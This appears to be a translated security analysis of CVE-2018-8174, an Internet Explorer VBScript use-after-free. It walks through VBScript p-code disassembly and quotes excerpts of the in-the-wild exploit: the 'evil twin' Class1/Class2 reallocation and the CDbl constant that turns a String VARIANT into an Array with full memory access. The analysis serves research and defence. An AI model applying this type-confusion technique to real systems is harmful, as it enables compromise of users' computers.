4月下旬,我們發現了一個漏洞并對其發表了一篇報告CVE-2018-8174,這是我們的沙盒在Internet Explorer中發現的一個新0day漏洞,該漏洞使用了漏洞CVE-2014-6332的poc中一種常用的技術,實際上就是“破壞”了兩個內存對象,并將一個對象的類型更改為Array(用于對地址空間的讀/寫訪問),另一個對象類型更改為Integer,以獲取任意對象的地址。
但是CVE-2014-6332的利用主要是針對寫入任意內存位置的整數溢出,而我的興趣點在于如何改編此技術以用于UAF漏洞。要回答這個問題,我們需要先考慮一下VBScript解釋器的內部結構。
調試一個VBScript可執行文件可是一項繁瑣的工作,因為在執行之前它會先被編譯成p代碼(p-code),然后才由虛擬機解釋。網上無法找到有關于此虛擬機的內部結構或者關于其指令的開源信息,不過花費了大量精力過后,我終于在幾個網頁中只找到了1999年和2004年的微軟工程師報告,這些報告中揭示了一些關于p代碼的信息,其中有足夠的信息讓我對所有的VM指令進行完全逆向,并編寫一個反匯編程序。大家在我們的Github存儲庫中可以找到用于在IDA Pro和WinDBG調試器的內存中反匯編VBScript p代碼的最終腳本。
通過理解虛擬機解釋代碼,我們可以精確地監視腳本的執行情況:可以獲得有關在任何指定時間點上代碼被執行的位置的完整信息,并且可以觀察腳本創建和引用的所有對象,所有的這些信息都可以對分析提供極大的幫助。
運行反匯編腳本的最佳位置是CScriptRuntime::RunNoEH函數,因為它可以直接解釋p代碼。
CScriptRuntime類中的重要字段
CScriptRuntime類包含了有關解釋器狀態的所有信息:局部變量、函數參數、指向堆棧頂部的指針和當前指令,以及被編譯腳本的地址。
VBScript虛擬機是面向堆棧的,包含大約超過100條的指令。
所有變量(本地參數和堆棧上的變量)都表示為占用16個字節的VARIANT.aspx)結構,其中高位字表示數據類型,某些類型值在相關的MSDN)頁面上也可以找到。
下面是’Class1’類的代碼和反匯編后的p代碼:
Class Class1
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value
SetProp=0
End Function
End Class
Function 34 (‘Class1’) [max stack = 1]:
arg count = 0
lcl count = 0
Pcode:
0000 OP_CreateClass
0005 OP_FnBindEx ‘p’ 35 FALSE
000F OP_FnBindEx ‘SetProp’ 36 FALSE
0019 OP_CreateVar ‘mem’ FALSE
001F OP_LocalSet 0
0022 OP_FnReturn
Function 35 (‘p’) [max stack = 0]:
arg count = 0
lcl count = 0
Pcode:
***BOS(8252,8264)*** End Function *****
0000 OP_Bos1 0
0002 OP_FnReturn
0003 OP_Bos0
0004 OP_FuncEnd
Function 36 (‘SetProp’) [max stack = 1]:
arg count = 1
arg –1 = ref Variant ‘value’
lcl count = 0
Pcode:
***BOS(8292,8301)*** mem=Value *****
0000 OP_Bos1 0
0002 OP_LocalAdr –1
0005 OP_NamedSt ‘mem’
***BOS(8304,8315)*** SetProp=(0) *****
000A OP_Bos1 1
000C OP_IntConst 0
000E OP_LocalSt 0
***BOS(8317,8329)*** End Function *****
0011 OP_Bos1 2
0013 OP_FnReturn
0014 OP_Bos0
0015 OP_FuncEnd
函數34是’Class1’類的構造函數。
OP_CreateClass指令調用VBScriptClass::Create函數來創建VBScriptClass對象。
OP_FnBindEx和OP_CreateVar指令嘗試獲取參數中傳遞的變量,由于它們尚不存在,因此它們由VBScriptClass::CreateVar函數創建。
下圖顯示了如何從VBScriptClass對象中獲取變量,其中變量的值存儲在VVAL結構中:
想要了解漏洞的利用方法,則需要先了解變量在VBScriptClass結構中的表示方式。
當在函數36(‘SetProp’)中執行OP_NamedSt ‘mem’指令時,它會調用先前堆疊的類的實例的默認屬性Getter,然后將返回的值存儲在變量’mem’中。
***BOS(8292,8301)*** mem=Value *****
0000OP_Bos1 0
0002OP_LocalAdr -1 <————將參數置于堆棧
0005OP_NamedSt’mem’<———- – 如果它是具有默認屬性Getter的類調度程序,則在mem中調用并存儲返回的值
下面是在執行OP_NamedSt指令期間調用的30(p)函數的代碼和反匯編的p代碼:
Class lllIIl
Public Default Property Get P
Dim llII
P=CDbl(“174088534690791e-324”)
For IIIl=0 To 6
IIIlI(IIIl)=0
Next
Set llII=New Class2
llII.mem=lIlIIl
For IIIl=0 To 6
Set IIIlI(IIIl)=llII
Next
End Property
End Class
Function 30 (‘p’) [max stack = 3]:
arg count = 0
lcl count = 1
lcl 1 = Variant ‘llII’
tmp count = 4
Pcode:
***BOS(8626,8656)*** P=CDbl(“174088534690791e-324”) *****
0000 OP_Bos1 0
0002 OP_StrConst ‘174088534690791e-324’
0007 OP_CallNmdAdr ‘CDbl’ 1
000E OP_LocalSt 0
***BOS(8763,8782)*** For IIIl=(0) To (6) *****
0011 OP_Bos1 1
0013 OP_IntConst 0
0015 OP_IntConst 6
0017 OP_IntConst 1
0019 OP_ForInitNamed ‘IIIl’ 5 4
0022 OP_JccFalse 0047
***BOS(8809,8824)*** IIIlI(IIIl)=(0) *****
0027 OP_Bos1 2
0029 OP_IntConst 0
002B OP_NamedAdr ‘IIIl’
0030 OP_CallNmdSt ‘IIIlI’ 1
***BOS(8826,8830)*** Next *****
0037 OP_Bos1 3
0039 OP_ForNextNamed ‘IIIl’ 5 4
0042 OP_JccTrue 0027
***BOS(8855,8874)*** Set llII=New Class2 *****
0047 OP_Bos1 4
0049 OP_InitClass ‘Class2’
004E OP_LocalSet 1
***BOS(8876,8891)*** llII.mem=lIlIIl *****
0051 OP_Bos1 5
0053 OP_NamedAdr ‘lIlIIl’
0058 OP_LocalAdr 1
005B OP_MemSt ‘mem’
….
該函數的第一個基本塊是:
*** BOS(8626,8656)*** P = CDbl(“174088534690791e-324”)*****
0000OP_Bos1 0
0002OP_StrConst’174088534690791e-
324’0007OP_CallNmdAdr’CDbl’1
000EOP_LocalSt 0
該塊將字符串’174088534690791e-324’轉換為VARIANT.aspx)結構,并將其存儲在本地變量0中,保留為函數的返回值。
在將’174088534690791e-324’轉換為雙倍后得到VARIANT
設置后的返回值在被返回之前,執行以下函數:
For IIIl=0 To 6
IIIlI(IIIl)=0
Next
該函數會調用“Class1”實例的垃圾回收器,并由于我們之前提到的Class_Terminate()中存在的use-after-free漏洞而導致一個懸空指針引用。
In the line
***BOS(8855,8874)*** Set llII=New Class2 *****
0047OP_Bos1 4
0049OP_InitClass ‘Class2’
004EOP_LocalSet 1
OP_InitClass ‘Class2’指令在先前釋放的VBScriptClass 的位置創建’Class1’類的“evil twin”實例,該實例仍由函數36(‘SetProp’)中的OP_NamedSt ‘mem’指令引用。
“Class2”類是“Class1”類的“evil twin”:
Class Class2
Dim mem
Function P0123456789
P0123456789=LenB(mem(IlII+(8)))
End Function
Function SPP
End Function
End Class
Function 31 (‘Class2’) [max stack = 1]:
arg count = 0
lcl count = 0
Pcode:
0000 OP_CreateClass ‘Class2’
0005 OP_FnBindEx ‘P0123456789’ 32 FALSE
000F OP_FnBindEx ‘SPP’ 33 FALSE
0019 OP_CreateVar ‘mem’ FALSE
001F OP_LocalSet 0
0022 OP_FnReturn
Function 32 (‘P0123456789’) [max stack = 2]:
arg count = 0
lcl count = 0
Pcode:
***BOS(8390,8421)*** P0123456789=LenB(mem(IlII+(8))) *****
0000 OP_Bos1 0
0002 OP_NamedAdr ‘IlII’
0007 OP_IntConst 8
0009 OP_Add
000A OP_CallNmdAdr ‘mem’ 1
0011 OP_CallNmdAdr ‘LenB’ 1
0018 OP_LocalSt 0
***BOS(8423,8435)*** End Function *****
001B OP_Bos1 1
001D OP_FnReturn
001E OP_Bos0
001F OP_FuncEnd
Function 33 (‘SPP’) [max stack = 0]:
arg count = 0
lcl count = 0
Pcode:
***BOS(8451,8463)*** End Function *****
0000 OP_Bos1 0
0002 OP_FnReturn
0003 OP_Bos0
0004 OP_FuncEnd
內存中變量的位置是可預測的。VVAL結構占用的數據量使用公式0x32 + UTF-16中變量名的長度計算。
下圖顯示了在分配’Class2’代替’Class1’時,’Class1’變量相對于’Class2’變量的位置。
當函數36(‘SetProp’)中的OP_NamedSt ‘mem’指令的完成執行后,函數30(‘p’)返回的值通過Class1中VVAL ‘mem’的懸空指針寫入寄存器,并覆蓋VARIANT Class2中的VVAL ‘mem’類型。
Double類型的VARIANT將VARIANT類型從String重寫為Array
因此,String類型的對象被轉換為Array類型的對象,之前被認為是字符串的數據被視為Array控件結構,并被允許訪問進程的整個地址空間。
我們將用于反匯編VBScript的腳本編譯成p代碼,以便于以字節碼級別啟用VBScript調試,這樣可以在分析漏洞的利用并了解VBScript的運行方式的時候提供有效的幫助,該腳本已存儲在我們的Github存儲庫中。
CVE-2018-8174的案例表明,當內存分配具有高度可預測性時,UAF漏洞會變得很容易被利用,在野外這種攻擊常常被用來針對舊版Windows,尤其是在Windows 7和Windows 8.1中最有可能出現該攻擊所需要的內存中對象的位置。